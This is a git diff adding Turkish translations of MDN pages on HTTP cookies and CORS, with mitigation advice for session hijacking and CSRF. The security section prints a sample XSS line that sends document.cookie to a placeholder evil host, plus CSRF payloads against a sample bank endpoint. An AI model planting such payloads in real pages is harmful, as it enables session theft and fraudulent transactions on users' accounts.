</span>({{Glossary("CSRF")}})<span class="tlid-translation translation" lang="tr"> karşı bir miktar koruma sağlar.</span></p> + +<p><code>SameSite</code><span class="tlid-translation translation" lang="tr"> çerezleri nispeten yenidir ve <a href="/en-US/docs/Web/HTTP/headers/Set-Cookie#Browser_compatibility">tüm büyük tarayıcılar tarafından desteklenmektedir</a>.</span></p> + +<p>Örnek:</p> + +<pre>Set-Cookie: key=value; SameSite=Strict</pre> + +<p>SameSite<span class="tlid-translation translation" lang="tr"> özelliği şu iki değerden birini alabilir (büyük/küçük harf duyarlı değil):</span></p> + +<dl> + <dt><code>Strict</code></dt> + <dd><span class="tlid-translation translation" lang="tr">Same-site çerezi bu özelliğe sahipse, tarayıcı yalnızca istek çerezleri oluşturan web sitesinden geldiğinde çerezleri gönderir. Eğer istek şu anki konumun URL’sinden farklı bir URL’den geldiyse, </span><code>Strict</code><span class="tlid-translation translation" lang="tr"> özelliği ile etiketlenen çerezlerin hiçbiri isteğe dahil edilmez.</span></dd> + <dt><code>Lax</code></dt> + <dd>Same-site değeri <span class="tlid-translation translation" lang="tr">Lax olarak ayarlanmışsa, resim veya frame yüklemek için yapılan aramalar gibi siteler arası alt isteklerde same-site çerezleri bekletilir; ancak kullanıcı URL’ye harici bir siteden, örneğin bir bağlantıyı takip ederek gelmişse gönderilir.</span></dd> +</dl> + +<p><span class="tlid-translation translation" lang="tr">Bayrak belirtilmemişse veya tarayıcı tarafından desteklenmiyorsa, varsayılan davranış, çerezleri farklı kaynaklı istekler (cross-origin requests) de dahil her isteğe dahil etmektir.</span></p> + +<h3 id="Cookie_önekleri_experimental_inline">Cookie önekleri {{experimental_inline}}</h3> + +<p>The design of the cookie mechanism is such that a server is unable to confirm a cookie was set on a secure origin or indeed, tell <em>where</em> a cookie was originally set. Recall that a subdomain such as <code>application.example.com</code> can set a cookie that will be sent with requests to <code>example.com</code> or other sub-domains by setting the <em>Domain</em> attribute:</p> + +<pre class="syntaxbox">Set-Cookie: CSRF=e8b667; Secure; Domain=example.com</pre> + +<p>If a vulnerable application is available on a sub-domain, this mechanism can be abused in a <em>session fixation</em> attack. When the user visits a page on the parent domain (or another subdomain), the application may trust the existing value sent in the user's cookie. This could allow an attacker to bypass CSRF protection or hijack a session after the user logs in.</p> + +<p>Alternatively, if the parent domain does not use {{Glossary("HSTS")}} with <code>includeSubdomains</code> set, a user subject to an active MitM (perhaps connected to an open WiFi network) could be served a response with a {{HTTPHeader("Set-Cookie")}} header from a non-existent sub-domain. The end result would be much the same, with the browser storing the illegitimate cookie and sending it to all other pages under <code>example.com</code>.</p> + +<p>Session fixation should primarily be mitigated by regenerating session cookie values when the user authenticates (even if a cookie already exists) and by tieing any CSRF token to the user. As a defence in depth measure, however, it is possible to use <em>cookie prefixes</em> to assert specific facts about the cookie. Two prefixes are available:</p> + +<dl> + <dt><code>__Host-</code></dt> + <dd>If a cookie name has this prefix, it will only be accepted in a {{HTTPHeader("Set-Cookie")}} directive if it is marked <code>Secure</code>, does <em>not</em> include a <code>Domain</code> attribute and was sent from a secure origin. In this way, these cookies can be seen as "domain-locked".</dd> + <dt><code>__Secure-</code></dt> + <dd>If a cookie name has this prefix, it will only be accepted in a {{HTTPHeader("Set-Cookie")}} directive if it is marked <code>Secure</code> and was sent from a secure origin. This is weaker than the <code>__Host-</code> prefix.</dd> +</dl> + +<p>Cookies sent which are not compliant will be rejected by the browser. Note that this ensures that if a sub-domain were to create a cookie with this name, it would be either be confined to the sub-domain or ignored completely. As the application server will only check for a specific cookie name when determining if the user is authenticated or a CSRF token is correct, this effectively acts as a defence measure against session fixation.</p> + +<div class="note"> +<p>On the application server, the web application <em>must</em> check for the full cookie name including the prefix—user agents <em>will not</em> strip the prefix from the cookie before sending it in a request's {{HTTPHeader("Cookie")}} header.</p> +</div> + +<p>For more information about cookie prefixes and the current state of browser support, see the <a href="/en-US/docs/Web/HTTP/Headers/Set-Cookie#Cookie_prefixes">Set-Cookie section</a>.</p> + +<h3 id="JavaScript_access_using_Document.cookie">JavaScript access using <code>Document.cookie</code></h3> + +<p>New cookies can also be created via JavaScript using the {{domxref("Document.cookie")}} property, and if the <code>HttpOnly</code> flag is not set, existing cookies can be accessed from JavaScript as well.</p> + +<pre class="brush: js">document.cookie = "yummy_cookie=choco"; +document.cookie = "tasty_cookie=strawberry"; +console.log(document.cookie); +// logs "yummy_cookie=choco; tasty_cookie=strawberry"</pre> + +<p>Cookies created via JavaScript cannot include the <code>HttpOnly</code> flag.</p> + +<p>Please note the security issues in the <a href="/en-US/docs/Web/HTTP/Cookies#Security">Security</a> section below. Cookies available to JavaScript can be stolen through XSS.</p> + +<h2 id="Security">Security</h2> + +<div class="note"> +<p>Information should be stored in cookies with the understanding that all cookie values will be visible to and can be changed by the end-user. Depending on the application, it may be desirable to use an opaque identifier which is looked-up server-side or investigate alternative authentication/confidentiality mechanisms such as JSON Web Tokens.</p> +</div> + +<h3 id="Session_hijacking_and_XSS">Session hijacking and XSS</h3> + +<p>Cookies are often used in web application to identify a user and their authenticated session, so stealing a cookie can lead to hijacking the authenticated user's session. Common ways to steal cookies include Social Engineering or exploiting an {{Glossary("XSS")}} vulnerability in the application.</p> + +<pre class="brush: js">(new Image()).src = "http://www.evil-domain.com/steal-cookie?cookie=" + document.cookie;</pre> + +<p>The <code>HttpOnly</code> cookie attribute can help to mitigate this attack by preventing access to cookie value through JavaScript. Exfiltration avenues can be limited by deploying a strict <a href="/en-US/docs/Web/HTTP/CSP">Content-Security-Policy</a>.</p> + +<h3 id="Cross-site_request_forgery_(CSRF)">Cross-site request forgery (CSRF)</h3> + +<p><a href="https://en.wikipedia.org/wiki/HTTP_cookie#Cross-site_request_forgery">Wikipedia</a> mentions a good example for {{Glossary("CSRF")}}. In this situation, someone includes an image that isn’t really an image (for example in an unfiltered chat or forum), instead it really is a request to your bank’s server to withdraw money:</p> + +<pre class="brush: html"><img src="https://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory"></pre> + +<p>Now, if you are logged into your bank account and your cookies are still valid (and there is no other validation), you will transfer money as soon as you load the HTML that contains this image. For endpoints that require a POST request, it's possible to programmatically trigger a <code><form></code> submit (perhaps in an invisible <code><iframe></code>) when the page is loaded:</p> + +<pre class="brush: html"><form action="https://bank.example.com/withdraw" method="POST"> + <input type="hidden" name="account" value="bob"> + <input type="hidden" name="amount" value="1000000"> + <input type="hidden" name="for" value="mallory"> +</form> +<script>window.addEventListener('DOMContentLoaded', (e) => { document.querySelector('form').submit(); }</script> +</pre> + +<p>There are a few techniques that should be used to prevent this from happening:</p> + +<ul> + <li>GET endpoints should be idempotent—actions that enact a <em>change </em>and do not simply retrieve data should require sending a POST (or other HTTP method) request. POST endpoints should not interchangeably accept GET requests with parameters in the query string.</li> + <li>A CSRF token should be included in <code><form></code> elements via a hidden input field. This token should be unique per user and stored (for example, in a cookie) such that the server can look up the expected value when the request is sent. For all non-GET requests that have the potential to perform an action, this input field should be compared against the expected value. If there is a mismatch, the request should be aborted. + <ul> + <li>This method of protection relies on an attacker being unable to predict the user's assigned CSRF token. The token should be regenerated on sign-in.</li> + </ul> + </li> + <li>Cookies that are used for sensitive actions (such as session cookies) should have a short lifetime with the SameSite attribute set to <code>Strict</code> or <code>Lax</code>. (See <a href="/en-US/docs/Web/HTTP/Cookies#SameSite_cookies">SameSite cookies</a> above). In supporting browsers, this will have the effect of ensuring that the session cookie is <em>not</em> sent along with cross-site requests and so the request is effectively unauthenticated to the application server.</li> + <li>Both CSRF tokens and SameSite cookies should be deployed. This ensures all browsers are protected and provides protection where SameSite cookies cannot help (such as attacks originating from a separate subdomain).</li> + <li>For more prevention tips, see the <a href="https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet">OWASP CSRF prevention cheat sheet</a>.</li> +</ul> + +<h2 id="Tracking_and_privacy">Tracking and privacy</h2> + +<h3 id="Third-party_cookies">Third-party cookies</h3> + +<p>Cookies have a domain associated to them. If this domain is the same as the domain of the page you are on, the cookies is said to be a <em>first-party cookie</em>. If the domain is different, it is said to be a <em>third-party cookie</em>. While first-party cookies are sent only to the server setting them, a web page may contain images or other components stored on servers in other domains (like ad banners). Cookies that are sent through these third-party components are called third-party cookies and are mainly used for advertising and tracking across the web. See for example the <a href="https://www.google.com/policies/technologies/types/">types of cookies used by Google</a>. Most browsers allow third-party cookies by default, but there are add-ons available to block them (for example, <a href="https://addons.mozilla.org/en-US/firefox/addon/privacy-badger-firefox/">Privacy Badger</a> by the <a href="https://www.eff.org/">EFF</a>).</p> + +<p>If you are not disclosing third-party cookies, consumer trust might get harmed if cookie use is discovered. A clear disclosure (such as in a privacy policy) tends to eliminate any negative effects of a cookie discovery. Some countries also have legislation about cookies. See for example Wikimedia Foundation's <a href="https://wikimediafoundation.org/wiki/Cookie_statement">cookie statement</a>.</p> + +<h3 id="Do-Not-Track">Do-Not-Track</h3> + +<p>There are no legal or technological requirements for its use, but the {{HTTPHeader("DNT")}} header can be used to signal that a web application should disable either its tracking or cross-site user tracking of an individual user. See the {{HTTPHeader("DNT")}} header for more information.</p> + +<h3 id="EU_cookie_directive">EU cookie directive</h3> + +<p>Requirements for cookies across the EU are defined in <a href="http://eur-lex.europa.eu/legal-content/EN/TXT/?uri=CELEX:32009L0136">Directive 2009/136/EC</a> of the European Parliament and came into effect on 25 May 2011. A directive is not a law by itself, but a requirement for EU member states to put laws in place that meet the requirements of the directive. The actual laws can differ from country to country.</p> + +<p>In short the EU directive means that before somebody can store or retrieve any information from a computer, mobile phone or other device, the user must give informed consent to do so. Many websites have added banners (AKA "cookie banners") since then to inform the user about the use of cookies.</p> + +<p>For more, see <a href="https://en.wikipedia.org/wiki/HTTP_cookie#EU_cookie_directive">this Wikipedia section</a> and consult state laws for the latest and most accurate information.</p> + +<h3 id="Zombie_cookies_and_Evercookies">Zombie cookies and Evercookies</h3> + +<p>A more radical approach to cookies are zombie cookies or "Evercookies" which are recreated after their deletion and are intentionally hard to delete forever. They are using the <a href="/en-US/docs/Web/API/Web_Storage_API" title="DOM Storage">Web storage API</a>, Flash Local Shared Objects and other techniques to recreate themselves whenever the cookie's absence is detected.</p> + +<ul> + <li><a href="https://github.com/samyk/evercookie">Evercookie by Samy Kamkar</a></li> + <li><a href="https://en.wikipedia.org/wiki/Zombie_cookie">Zombie cookies on Wikipedia</a></li> +</ul> + +<h2 id="Bakınız">Bakınız</h2> + +<ul> + <li>{{HTTPHeader("Set-Cookie")}}</li> + <li>{{HTTPHeader("Cookie")}}</li> + <li>{{domxref("Document.cookie")}}</li> + <li>{{domxref("Navigator.cookieEnabled")}}</li> + <li><a href="/tr/docs/Tools/Storage_Inspector">Inspecting cookies using the Storage Inspector</a></li> + <li><a class="external" href="https://tools.ietf.org/html/rfc6265">Cookie tanımı: RFC 6265</a></li> + <li><a href="https://en.wikipedia.org/wiki/HTTP_cookie">Wikipedia'da HTTP çerezi</a></li> +</ul> diff --git a/files/tr/web/http/cors/errors/corsrequestnothttp/index.html b/files/tr/web/http/cors/errors/corsrequestnothttp/index.html new file mode 100644 index 0000000000..b11ef3fd36 --- /dev/null +++ b/files/tr/web/http/cors/errors/corsrequestnothttp/index.html @@ -0,0 +1,31 @@ +--- +title: 'Reason: CORS request not HTTP' +slug: Web/HTTP/CORS/Errors/CORSRequestNotHttp +tags: + - Güvenlik + - Hata + - Mesajlar + - Sebepler + - konsol +translation_of: Web/HTTP/CORS/Errors/CORSRequestNotHttp +--- +<div>{{HTTPSidebar}}</div> + +<h2 id="Sebep">Sebep</h2> + +<pre class="syntaxbox">Sebep: CORS isteği HTTP değil</pre> + +<h2 id="Yanlış_giden_ne">Yanlış giden ne?</h2> + +<p>{{Glossary("CORS")}} istekleri yalnızca HTTPS URL şemasını kullanabilir, ancak istek tarafından belirtilen URL farklı türdedir. Bu genellikle URL <code>file:///</code> kullanarak yerel bir dosya belirtirse olur.</p> + +<p>Bu sorunu çözmek için, CORS içeren isteklerde bulunurken HTTPS URL'leri kullandığınızdan emin olun.</p> + +<h2 id="Bakınız">Bakınız</h2> + +<ul> + <li><a href="/en-US/docs/Web/HTTP/CORS/Errors">CORS hataları</a></li> + <li>Sözlük: {{Glossary("CORS")}}</li> + <li><a href="/en-US/docs/Web/HTTP/CORS">CORS'a giriş</a></li> + <li><a href="/en-US/docs/Learn/Common_questions/What_is_a_URL">URL nedir?</a></li> +</ul> diff --git a/files/tr/web/http/cors/errors/index.html b/files/tr/web/http/cors/errors/index.html new file mode 100644 index 0000000000..d1dd12dc75 --- /dev/null +++ b/files/tr/web/http/cors/errors/index.html @@ -0,0 +1,76 @@ +--- +title: CORS errors +slug: Web/HTTP/CORS/Errors +tags: + - CORS + - Errors + - HTTP + - HTTPS + - Messages + - NeedsTranslation + - Same-origin + - Security + - TopicStub + - console + - troubleshooting +translation_of: Web/HTTP/CORS/Errors +--- +<div>{{HTTPSidebar}}</div> + +<p><span class="seoSummary"><a href="/en-US/docs/Web/HTTP/CORS">Cross-Origin Resource Sharing</a> ({{Glossary("CORS")}}) is a standard that allows a server to relax the <a href="/en-US/docs/Web/Security/Same-origin_policy">same-origin policy</a>. This is used to explicitly allow some cross-origin requests while rejecting others.</span> For example, if a site offers an embeddable service, it may be necessary to relax certain restrictions. Setting up such a CORS configuration isn't necessarily easy and may present some challenges. In these pages, we'll look into some common CORS error messages and how to resolve them.</p> + +<p>If the CORS configuration isn't setup correctly, the browser console will present an error like <code>"Cross-Origin Request Blocked: The Same Origin Policy disallows reading the remote resource at $somesite"</code> indicating that the request was blocked due to violating the CORS security rules. This might not necessarily be a set-up mistake, though. It's possible that the request is in fact intentionally being disallowed by the user's web application and remote external service. However, If the endpoint is meant to be available, some debugging is needed to succeed.</p> + +<h2 id="Identifying_the_issue">Identifying the issue</h2> + +<p>To understand the underlying issue with the CORS configuration, you need to find out which request is at fault and why. These steps may help you do so:</p> + +<ol> + <li>Navigate to the web site or web app in question and open the <a href="/en-US/docs/Tools">Developer Tools</a>.</li> + <li>Now try to reproduce the failing transaction and check the <a href="/en-US/docs/Tools/Web_Console">console</a> if you are seeing a CORS violation error message. It will probably look like this:</li> +</ol> + +<p><img alt="Firefox console showing CORS error" src="https://mdn.mozillademos.org/files/16050/cors-error2.png"></p> + +<p>The text of the error message will be something similar to the following:</p> + +<pre>Cross<span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body">-Origin Request Blocked: The Same Origin Policy disallows +reading the remote resource at <em>https://some-url-here</em>. (<em>Reason: +additional information here</em>).</span></span></span></pre> + +<div class="note"> +<p><span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body"><strong>Note:</strong> For security reasons, specifics about what went wrong with a CORS request <em>are not available to JavaScript code</em>. All the code knows is that an error occurred. The only way to determine what specifically went wrong is to look at the browser's console for details.</span></span></span></p> +</div> + +<h2 id="CORS_error_messages">CORS error messages</h2> + +<p>Firefox's console displays messages in its console when requests fail due to CORS. Part of the error text is a "reason" message that provides added insight into what went wrong. The reason messages are listed below; click the message to open an article explaining the error in more detail and offering possible solutions.</p> + +<ul> + <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSDisabled">Reason: CORS disabled</a></li> + <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSDidNotSucceed">Reason: CORS request did not succeed</a></li> + <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSOriginHeaderNotAdded">Reason: CORS header ‘Origin’ cannot be added</a></li> + <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSExternalRedirectNotAllowed">Reason: CORS request external redirect not allowed</a></li> + <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSRequestNotHttp">Reason: CORS request not http</a></li> + <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSMissingAllowOrigin">Reason: CORS header ‘Access-Control-Allow-Origin’ missing</a></li> + <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSAllowOriginNotMatchingOrigin">Reason: CORS header ‘Access-Control-Allow-Origin’ does not match ‘xyz’</a></li> + <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSNotSupportingCredentials">Reason: Credential is not supported if the CORS header ‘Access-Control-Allow-Origin’ is ‘*’</a></li> + <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSMethodNotFound">Reason: Did not find method in CORS header ‘Access-Control-Allow-Methods’</a></li> + <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSMissingAllowCredentials">Reason: expected ‘true’ in CORS header ‘Access-Control-Allow-Credentials’</a></li> + <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSPreflightDidNotSucceed">Reason: CORS preflight channel did not succeed</a></li> + <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSInvalidAllowMethod">Reason: invalid token ‘xyz’ in CORS header ‘Access-Control-Allow-Methods’</a></li> + <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSInvalidAllowHeader">Reason: invalid token ‘xyz’ in CORS header ‘Access-Control-Allow-Headers’</a></li> + <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSMissingAllowHeaderFromPreflight">Reason: missing token ‘xyz’ in CORS header ‘Access-Control-Allow-Headers’ from CORS preflight channel</a></li> + <li><a href="/en-US/docs/Web/HTTP/CORS/Errors/CORSMultipleAllowOriginNotAllowed">Reason: Multiple CORS header ‘Access-Control-Allow-Origin’ not allowed</a></li> +</ul> + +<h2 id="See_also">See also</h2> + +<ul> + <li>Glossary: {{Glossary("CORS")}}</li> + <li><a href="/en-US/docs/Web/HTTP/CORS">CORS introduction</a></li> + <li><a href="/en-US/docs/Web/HTTP/Server-Side_Access_Control">Server-side CORS settings</a></li> + <li><a href="/en-US/docs/Web/HTML/CORS_enabled_image">CORS enabled image</a></li> + <li><a href="/en-US/docs/Web/HTML/CORS_settings_attributes">CORS settings attributes</a></li> + <li><a href="https://www.test-cors.org">https://www.test-cors.org</a> – page to test CORS requests</li> +</ul> diff --git a/files/tr/web/http/cors/index.html b/files/tr/web/http/cors/index.html new file mode 100644 index 0000000000..2e7e690ab7 --- /dev/null +++ b/files/tr/web/http/cors/index.html @@ -0,0 +1,556 @@ +--- +title: Cross-Origin Resource Sharing (CORS) +slug: Web/HTTP/CORS +translation_of: Web/HTTP/CORS +--- +<p><span class="seoSummary">Farklı Merkezler Arası Kaynak Paylaşımı (Yaygın olarak bilinen adıyla -</span>Cross-Origin Resource Sharing <span class="seoSummary">({{Glossary("CORS")}}) ) ek {{Glossary("HTTP")}} başlıkları (header)</span> kullanarak tarayıcıyla iletişime geçer ve farklı merkezler arasında gerçekleşen kaynak paylaşımı sırasında kaynak talep eden tarafın, kaynak sağlayan tarafça istenen izinlere sahip olup olmadığını tarayıcıya bildirir. Peki CORS ne zaman gerçekleşir. Hangi durumlarda merkezin farklı olduğu kabul edilir ? Bunu kısaca şöyle açıklayabiliriz, veri isteğinde bulunan taraf ile veri sağlayan taraflar arasında alan adı, protokol veya port farkı varsa tarafların farklı merkezlerde yer aldığı kabul edilmektedir.</p> + +<p>Olayı daha açık bir şekilde anlamak için aşağıdaki örneğe göz atalım. Aşağıda iki farklı merkez arasında veri paylaşımı gerçekleşmektedir.</p> + +<p><code>http://domain-a.com</code> uzantılı bir web sitemizin olduğunu ve sitemizde yer alan bazı modüllerin çalışması için <code>http://api.domain-b.com/data.json</code> sitesine ait API servisininden {{domxref("XMLHttpRequest")}} oluşturarak veri çektğimizi varsayalım. Burada doğrudan iki farklı domain söz konusu olduğu için, doğal olarak yaptığınız bu veri talebi tarayıcılar tarafından <strong>Farklı Kaynaklar Arası Veri Paylaşımı </strong>olarak görülecek ve isteğiniz bu bağlamda muamele görecektir.</p> + +<p>Güvenlik önemleri nedeniyle tarayıcılar farklı merkezler arasında yapılan HTTP isteklerini engellemektedir. Keza veri transferi amacıyla kullandığımız <code>XMLHttpRequest</code> ve <a href="/en-US/docs/Web/API/Fetch_API">Fetch API</a> tek merkez politikasına (<a href="/en-US/docs/Web/Security/Same-origin_policy">same-origin policy</a>) tabidirler. Dolayısıyla bir XMLHttpRequest oluşturduğunuzda veya Fetch API kullandığınızda eğer hedef siteniz ile veri trasferinde bulunmak için gerekli başlıklara (header) sahip değilseniz, tek merkez politikası nedeniyle gönderdiğiniz bu istekler tarayıcılar tarafından engellenecektir.</p> + +<p>Ancak istisnai olarak bazı web servislerinde bütün merkezler ile veri paylaşımı kabul edilmiş olabilir, herhangi bir kısıtlama olmayabilir, bu gibi servisler ile çalışırken herhangi bir ek başlığa sahip olmasanız dahi CORS hatası almaksızın, bu servisler ile veri transferinde bulunabilirsiniz.</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14295/CORS_principle.png" style="height: 305px; width: 440px;"></p> + +<p>CORS mekanizması tarayıcılar ve web servisleri arasında güvenli farklı merkezli istekleri ve veri transferlerini desteklemektedir .Modern tarayıcılar Farklı Merkezler Arası Kaynak Paylaşımı sistemini XMLHttpReqest ve Fetch gibi yapılar ile birlikte kullanarak, farklı merkezler arasında yapılan http isteklerini daha güvenli hale getirmeye çalışmaktadır. </p> + +<h2 id="Bu_makaleyi_kimler_okumalı">Bu makaleyi kimler okumalı?</h2> + +<p>Gerçekten herkes okumalı.</p> + +<p>Daha özelde, bu makale web adminleri, sunucu geliştiricileri ve front-end geliştiricileri içindir. Modern tarayıcılar, başlıklar ve poliçe uygulamaları dahil olmak üzere çapraz kaynak paylaşımının istemci tarafı bileşenlerini işler. Ancak bu yeni standart, sunucuların yeni request ve response headerlarını işlemesi gerektiği anlamına gelir. Diğer makale <a href="/en-US/docs/Web/HTTP/Server-Side_Access_Control">çapraz-köken paylaşımını sunucu perspektifinden (PHP kod parçacıklarıyla)</a> tartışan sunucu geliştiricileri için tamamlayıcı bir okumadır.</p> + +<h2 id="Hangi_istekler_CORS_kullanır">Hangi istekler CORS kullanır?</h2> + +<p>Bu <a class="external" href="https://fetch.spec.whatwg.org/#http-cors-protocol">çapraz-köken paylaşma standardı</a> siteler arası HTTP isteklerini etkinleştirmek için kullanılır:</p> + +<ul> + <li>Yukarıda tartışıldığı gibi {{domxref("XMLHttpRequest")}} veya <a href="/en-US/docs/Web/API/Fetch_API">Fetch API'lerinin</a> çağrıları.</li> + <li>Web Fontları (CSS içindeki <code>@font-face</code> içinde çapraz-domain font kullanımı için), <a class="external" href="https://www.w3.org/TR/css-fonts-3/#font-fetching-requirements">böylece sunucular yalnızca izin verilen web siteleri tarafından siteler arası yüklenebilen ve kullanılabilen TrueType fontları dağıtabilir.</a></li> + <li><a href="/en-US/docs/Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL">WebGL texture'ları</a>.</li> + <li>{{domxref("CanvasRenderingContext2D.drawImage()", "drawImage()")}} kullanılarak bir tuvale çizilen resimler/video çerçeveleri.</li> + <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Web/CSS/CSS_Shapes/Shapes_From_Images">Resimlerden CSS şekilleri. </a></li> +</ul> + +<p>Bu makale, Çapraz-Köken Arası Kaynak Paylaşımı hakkında genel bir tartışmadır ve gerekli HTTP headerlarının bir tartışmasını içerir.</p> + +<h2 id="Fonksiyonel_genel_bakış">Fonksiyonel genel bakış</h2> + +<p>Çapraz-Köken Kaynak Paylaşımı standardı, hangi originlerin bir web tarayıcısından istenilen bilgiyi okumalarına izin verildiğini sunucuların tanımlamasına izin veren yeni <a href="/en-US/docs/Web/HTTP/Headers">HTTP headerlarını</a> ekleyerek çalışır. Ayrıca, sunucu verileri üzerinde yan etkilere neden olabilecek HTTP istek yöntemleri için (özellikle, {{HTTPMethod ("GET")}} veya {{HTTPMethod ("POST")}} dışında belirli <a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types">MIME tiplerindeki</a> HTTP yöntemleri), şartname, tarayıcıların HTTP {{HTTPMethod ("OPTIONS")}} istek yöntemiyle desteklenen yöntemleri sunucudan talep ederek isteği "preflight" ve ardından sunucudan "approval" aldıktan sonra asıl isteği göndermesini zorunlu kılar. Sunucular ayrıca istemcilere "credentials"(<a href="/en-US/docs/Web/HTTP/Cookies">Cookie'ler</a> ve <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTTP/Authentication">HTTP kimlik doğrulama</a> verileri dahil) bilgisinin istekler ile gönderilip gönderilmeyeceğini bildirebilir.</p> + +<p>CORS başarısızlıkları hatalara neden olur, ancak güvenlik sebepleri için hata ile ilgili ayrıntılar <em>JavaScript tarafından erişilemez</em>. Kodun bildiği tek şey bir hata oluşmasıdır. Özellikle neyin yanlış gittiğini belirlemenin tek yolu, ayrıntılar için tarayıcının konsoluna bakmaktır.</p> + +<p>Sonraki bölümler senaryoları tartışır ve kullanılan HTTP headerlarının analizini sağlar.</p> + +<h2 id="Examples_of_access_control_scenarios">Examples of access control scenarios</h2> + +<p>Here, we present three scenarios that illustrate how Cross-Origin Resource Sharing works. All of these examples use the {{domxref("XMLHttpRequest")}} object, which can be used to make cross-site invocations in any supporting browser.</p> + +<p>The JavaScript snippets included in these sections (and running instances of the server-code that correctly handles these cross-site requests) can be found "in action" at <a class="external" href="http://arunranga.com/examples/access-control/">http://arunranga.com/examples/access-control/</a>, and will work in browsers that support cross-site <code>XMLHttpRequest</code>.</p> + +<p>A discussion of Cross-Origin Resource Sharing from a server perspective (including PHP code snippets) can be found in the <a class="internal" href="/en-US/docs/Web/HTTP/Server-Side_Access_Control">Server-Side Access Control (CORS)</a> article.</p> + +<h3 id="Simple_requests">Simple requests</h3> + +<p>Some requests don’t trigger a <a href="#Preflighted_requests">CORS preflight</a>. Those are called “simple requests” in this article, though the {{SpecName('Fetch')}} spec (which defines CORS) doesn’t use that term. A request that doesn’t trigger a <a href="#Preflighted_requests">CORS preflight</a>—a so-called “simple request” — is one that <strong>meets all the following conditions</strong>:</p> + +<ul> + <li>The only allowed methods are: + <ul> + <li>{{HTTPMethod("GET")}}</li> + <li>{{HTTPMethod("HEAD")}}</li> + <li>{{HTTPMethod("POST")}}</li> + </ul> + </li> + <li>Apart from the headers set automatically by the user agent (for example, {{HTTPHeader("Connection")}}, {{HTTPHeader("User-Agent")}}, or <a href="https://fetch.spec.whatwg.org/#forbidden-header-name">any of the other headers with names defined in the Fetch spec as a “forbidden header name”</a>), the only headers which are allowed to be manually set are <a href="https://fetch.spec.whatwg.org/#cors-safelisted-request-header">those which the Fetch spec defines as being a “CORS-safelisted request-header”</a>, which are: + <ul> + <li>{{HTTPHeader("Accept")}}</li> + <li>{{HTTPHeader("Accept-Language")}}</li> + <li>{{HTTPHeader("Content-Language")}}</li> + <li>{{HTTPHeader("Content-Type")}} (but note the additional requirements below)</li> + <li><code><a href="http://httpwg.org/http-extensions/client-hints.html#dpr">DPR</a></code></li> + <li>{{HTTPHeader("Downlink")}}</li> + <li><code><a href="http://httpwg.org/http-extensions/client-hints.html#save-data">Save-Data</a></code></li> + <li><code><a href="http://httpwg.org/http-extensions/client-hints.html#viewport-width">Viewport-Width</a></code></li> + <li><code><a href="http://httpwg.org/http-extensions/client-hints.html#width">Width</a></code></li> + </ul> + </li> + <li>The only allowed values for the {{HTTPHeader("Content-Type")}} header are: + <ul> + <li><code>application/x-www-form-urlencoded</code></li> + <li><code>multipart/form-data</code></li> + <li><code>text/plain</code></li> + </ul> + </li> + <li>No event listeners are registered on any {{domxref("XMLHttpRequestUpload")}} object used in the request; these are accessed using the {{domxref("XMLHttpRequest.upload")}} property.</li> + <li>No {{domxref("ReadableStream")}} object is used in the request.</li> +</ul> + +<div class="note"><strong>Note:</strong> These are the same kinds of cross-site requests that web content can already issue, and no response data is released to the requester unless the server sends an appropriate header. Therefore, sites that prevent cross-site request forgery have nothing new to fear from HTTP access control.</div> + +<div class="note"><strong>Note:</strong> WebKit Nightly and Safari Technology Preview place additional restrictions on the values allowed in the {{HTTPHeader("Accept")}}, {{HTTPHeader("Accept-Language")}}, and {{HTTPHeader("Content-Language")}} headers. If any of those headers have ”non-standard” values, WebKit/Safari does not consider the request to meet the conditions for a “simple request”. What WebKit/Safari considers “non-standard” values for those headers is not documented except in the following WebKit bugs: <a href="https://bugs.webkit.org/show_bug.cgi?id=165178" rel="nofollow noreferrer">Require preflight for non-standard CORS-safelisted request headers Accept, Accept-Language, and Content-Language</a>, <a href="https://bugs.webkit.org/show_bug.cgi?id=165566" rel="nofollow noreferrer">Allow commas in Accept, Accept-Language, and Content-Language request headers for simple CORS</a>, and <a href="https://bugs.webkit.org/show_bug.cgi?id=166363" rel="nofollow noreferrer">Switch to a blacklist model for restricted Accept headers in simple CORS requests</a>. No other browsers implement those extra restrictions, because they’re not part of the spec.</div> + +<p>For example, suppose web content on domain <code class="plain">http://foo.example</code> wishes to invoke content on domain <code class="plain">http://bar.other</code>. Code of this sort might be used within JavaScript deployed on foo.example:</p> + +<pre class="brush: js" id="line1">const invocation = new XMLHttpRequest(); +const url = 'http://bar.other/resources/public-data/'; + +function callOtherDomain() { + if(invocation) { + invocation.open('GET', url, true); + invocation.onreadystatechange = handler; + invocation.send(); + } +} +</pre> + +<p>This will lead to a simple exchange between the client and the server, using CORS headers to handle the privileges:</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14293/simple_req.png" style="height: 224px; width: 521px;"></p> + +<p>Let us look at what the browser will send to the server in this case, and let's see how the server responds:</p> + +<pre class="brush: shell;highlight:[10,16]">GET /resources/public-data/ HTTP/1.1 +Host: bar.other +User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 +Accept-Language: en-us,en;q=0.5 +Accept-Encoding: gzip,deflate 